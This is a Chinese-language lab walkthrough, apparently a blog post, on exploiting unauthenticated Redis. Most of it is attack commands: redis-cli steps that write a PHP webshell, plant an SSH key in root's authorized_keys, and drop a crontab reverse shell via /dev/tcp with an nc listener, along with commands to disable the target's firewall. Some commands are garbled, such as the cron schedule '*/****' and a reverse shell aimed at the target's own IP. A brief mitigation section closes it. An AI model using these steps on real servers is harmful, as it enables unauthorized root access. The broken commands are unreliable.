redis未授权访问
redis
原理:
redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
环境:
靶机:Ubuntu:5.4.0-42-generic 192.168.6.217
攻击机:Kali 5.16.0-kali7-amd64 192.168.6.212
安装redis:
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
#解压后需要编译
make
make报错:make MALLOC=libc make distclean
#进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
#将redis配置文件复制到/etc目录下
cp redis.conf /etc
服务端启动redis-server同时加载配置文件:
redis-server /etc/redis.conf & (&后台运行)
ps -aux | grep redis (查看是否启动)
攻击机安装redis客户端。与上述步骤相同:
#查看redis-cli使用说明:
redis-cli -h 目标主机IP地址 -p 端口号
未授权访问漏洞测试:
使用redis客户端直接无账号登录redis:
查询发现Redis的主机直接暴露于绑定到所有接口是危险的,会暴露互联网上每个人的实例。遵循bin指令,这将强制Redis只接受来自同一台主机连接运行。
解决办法:
在redis的服务端修改配置文件/etc/redis.conf中bind为0.0.0.0,以及关闭保护模式和关闭防火墙iptables -F:
再次进行未授权访问:
利用redis写webshell
由于本地搭建,我们已经知道目录,我们把shell写入/home/muhong/Documents/目录下:
若爆错:
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
解决办法:
config set slave-read-only no
还不行的话使用info查看一下版本,换一个版本,可能是版本太高了,换一个低一点的版本。
换成redis-6.0.3版本,和上述步骤一样进行操作。
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
同样我们把shell写入/home/xxxx/Documents/目录下:
config set dir /home/xxxx/Documents
config set dbfilename redis.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
save
shell写入完成,我们在靶机上证明:
成功写入shell。
利用‘’公私钥“认证获取root权限:
当reids以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
靶机中开启redis服务。在靶机中执行 mkdir /root/.ssh命令,创建ssh公钥存放目录。
在攻击机中生成ssh公钥和私钥,密码设置为空:
进入.ssh目录:cd /root/.ssh ,将生成的公钥保存到1.txt:
连接靶机上的redis服务,将保存的ssh公钥1.txt写入redis:
远程登录靶机的redis服务:
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
设置上传公钥的备份文件名字为authorized_keys:
CONFIG SET dbfilename authorized_keys
检查是否更改成功,成功就保存后退出。
成功写入ssh公钥到靶机。在攻击机使用ssh免密登录靶机:
出现上述情况,把靶机中的ssh服务打开。
#安装sshd
apt-get isntall openssh-server
#启动
service ssh restart
#关闭防火墙
ufw disable
#查看是否有sshd进程
ps -ef | grep ssh
再次使用攻击机ssh免密登录:
使用私钥成功登录redis服务器。
利用crontab反弹shell
在权限足够的情况下。利用redis写入文件到计划任务目录下执行。
端口监听:
在攻击者服务器上监听一个端口:
nc -lvp 8888
攻击详情:
连接redis,写入反弹shell:
redis-cli -h 192.168.6.217
set xxx "\r\n*/**** /bin/bash -i >&/dev/tcp/192.168.6.217/8888 0>&1\r\n"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟左右就可以收到shell。
解决方案
绑定IP
在redis.conf 文件中找到配置,将IP地址改为允许访问redis的IP。
设置密码
在redis.conf配置文件中找到requirepass,然后修改。
更多推荐
所有评论(0)